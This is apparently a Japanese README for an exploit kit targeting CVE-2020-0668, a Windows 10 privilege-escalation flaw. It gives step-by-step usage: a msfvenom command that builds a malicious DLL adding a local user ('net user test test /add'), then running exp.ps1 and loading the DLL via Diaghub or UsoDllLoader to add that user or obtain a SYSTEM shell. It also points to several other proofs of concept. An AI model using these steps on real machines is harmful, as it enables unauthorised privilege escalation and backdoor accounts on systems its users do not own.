CVE-2020-0668

CVE-2020-0668 エクスプロイトを version < win10 v1903 と version >= win10 v1903 で動作させる

Diaghub エクスプロイト (< v1903)

powershell エクスプロイトは Diaghub を使用して version < win10 v1903 で動作します。

使用方法

• STEP 1：msfvenom で evil.dll を生成する
  • 例：ユーザーを追加する：msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll
• STEP 2：powershell で exp.ps1 を実行する
• STEP 3：Diaghub.exe C:\ProgramData evil.dll を実行して DLL を読み込み、ユーザーを追加する

• Diaghub

UsoDllLoader エクスプロイト (>= v1903)

powershell エクスプロイトは UsoDllLoader を使用して version >= win10 v1903 で動作します。

使用方法

• STEP 1: powershell で exp.ps1 を実行する
• STEP 2: UsoDllLoader.exe を実行してシステムシェルを取得する

• UsoDllLoader

その他のエクスプロイトまたは PoC

SysTracingPoc エクスプロイト

SysTracingPoc の x86 リリース版で、issue 向けのものです。UsoLoadDll のため、エクスプロイトは version >= win10 v1903 で動作します。

• SysTracingPoc

RedCursorSecurityConsulting の PoC

.NET の PoC です。C:\Windows\System32\evil.dll を確認し、evil.txt に名前を変更すると、DLL ファイルではなく、トレースログのみが含まれていることがわかります。

• CVE-2020-0668

Nan3r の PoC

powershell の PoC です。これも evil.dll 内にはトレースログしかありません。

• CVE-2020-0668